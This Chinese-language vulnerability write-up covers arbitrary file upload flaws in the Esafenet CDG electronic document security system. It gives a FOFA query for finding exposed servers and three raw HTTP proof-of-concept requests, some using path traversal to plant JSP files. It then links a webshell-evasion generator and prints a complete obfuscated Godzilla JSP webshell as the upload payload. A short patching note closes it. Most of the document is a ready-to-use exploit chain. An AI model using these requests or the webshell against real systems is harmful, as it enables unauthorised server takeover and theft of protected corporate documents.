0x01 产品简介
亿赛通电子文档安全管理系统（简称：CDG）是一款电子文档安全加密软件，该系统利用驱动层透明加密技术，通过对电子文档的加密保护，防止内部员工泄密和外部人员非法窃取企业核心重要数据资产，对电子文档进行全生命周期防护，系统具有透明加密、主动加密、智能加密等多种加密方式，用户可根据部门涉密程度的不同（如核心部门和普通部门），部署力度轻重不一的梯度式文档加密防护，实现技术、管理、审计进行有机的结合，在内部构建起立体化的整体信息防泄露体系，使得成本、效率和安全三者达到平衡，实现电子文档的数据安全。
0x02 漏洞概述
亿赛通电子文档安全管理系统UploadFileFromClientServiceForClient、/CDGServer3/DecryptApplicationService2、/CDGServer3/fileType/importFileType.do等接口处存在任意文件上传漏洞，未经授权的攻击者可通过此漏洞上传恶意后门文件，从而获取服务器权限。
0x03 影响范围
全局影响（万级）
0x04 复现环境
FOFA：app="亿赛通-电子文档安全管理系统"
0x05 漏洞复现
PoC-1
POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
文件内容实践：
PS：上传后根目录访问tttT.jsp即可
PoC-2
POST /CDGServer3/DecryptApplicationService2?fileId=../../../Program+Files+(x86)/ESAFENET/CDocGuard+Server/tomcat64/webapps/CDGServer3/a.jsp HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
文件内容实践：
验证url
https://your-ip/CDGServer3/a.jsp 
PoC-3
POST /CDGServer3/fileType/importFileType.do?flag=syn_user_policy HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept-Encoding: gzip, deflate
Accept: */*
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Connection: close
Content-Length: 212
Content-Type: multipart/form-data; boundary=a6c1544109e610dc4bddfc7583725f9c
--a6c1544109e610dc4bddfc7583725f9c
Content-Disposition: form-data; name="fileshare"; filename="/..\\..\\..\\..\\webapps\\ROOT\\a.jsp"
文件内容
--a6c1544109e610dc4bddfc7583725f9c--实践：
直接访问根目录验证
漏洞利用
生成哥斯拉免杀马
工具地址：https://github.com/Tas9er/ByPassGodzilla
尝试上传
POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
<%! String govsb_NQ = "c1976fc471d32d0b";
String govsb_rRDYrq62F = "Tas9er";
class govsb_yYcq09pP504Xb extends /*edusb_Yd*/ClassLoader {
public govsb_yYcq09pP504Xb(ClassLoader govsb_vLM8) {
super/*edusb_QST55l*/(govsb_vLM8);
}
public Class govsb_qvs(byte[] govsb_pHH5nFhGBGJrs) {
return super./*edusb_9lA81*/\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073/*edusb_vZLmO*/(govsb_pHH5nFhGBGJrs, 1099931-1099931, govsb_pHH5nFhGBGJrs.length);
}
}
public byte[] govsb_VA(byte[] govsb_RDLs5gMnLdx7, boolean govsb_FJ1cLOh5) {
try {
j\u0061\u0076\u0061\u0078./*edusb_yyAR3cHFdavJGU*/\u0063\u0072\u0079\u0070\u0074\u006f.Cipher govsb_Bsa1 = j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.Cipher.\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063e/*edusb_ugUsn1*/("AES");
govsb_Bsa1.init(govsb_FJ1cLOh5?1099931/1099931:1099931/1099931+1099931/1099931,new j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.spec./*edusb_AD7*/SecretKeySpec/*edusb_qvGt5qn*/(govsb_NQ.getBytes(), "AES"));
return govsb_Bsa1.doFinal/*edusb_f5*/(govsb_RDLs5gMnLdx7);
} catch (Exception e) {
return null;
}
}
%><%
try {
byte[] govsb_tby6ZYM2tmeJCk = java.util.Base64./*edusb_Hr5K*/\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072()./*edusb_Wty*/decode(request.getParameter(govsb_rRDYrq62F));
govsb_tby6ZYM2tmeJCk = govsb_VA(govsb_tby6ZYM2tmeJCk,false);
if (session.getAttribute/*edusb_7*/("payload") == null) {
session.setAttribute("payload", new govsb_yYcq09pP504Xb(this.\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073()./*edusb_RqwVLvZTZBVeCp3*/\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073Loader())/*edusb_V6FRLkLW*/.govsb_qvs(govsb_tby6ZYM2tmeJCk));
} else {
request.setAttribute("parameters", govsb_tby6ZYM2tmeJCk);
java.io.ByteArrayOutputStream govsb_3 = new java.io./*edusb_v9iBBl*/ByteArrayOutputStream();
Object govsb_YCJ = /*edusb_xLTC*/((Class) session.getAttribute("payload"))./*edusb_Invmf*//*edusb_8Q5Mk*/new\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065()/*edusb_lSK4DHyA*/;
govsb_YCJ.equals(govsb_3);
govsb_YCJ.equals(pageContext);
response.getWriter().write("9D0C38EF2C63233C8BB491A19883F59F".substring(1099931-1099931, 16));
govsb_YCJ.toString();
response.getWriter().write(java.util.Base64/*edusb_Qz*/.getEncoder()/*edusb_P9Bzr0TBcIv7y*/.encodeToString(govsb_VA(govsb_3.toByteArray(),true)));
response.getWriter().write("9D0C38EF2C63233C8BB491A19883F59F".substring(16));
}
} catch (Exception e) {
}
%>
尝试连接
0x06 修复建议
该系统的上传点比较多，建议相关接口增加访问认证并设置安全组仅对可信地址开放
另外官网已发布安全修复版本，请升级至官网最新版本修复此漏洞
https://www.esafenet.com/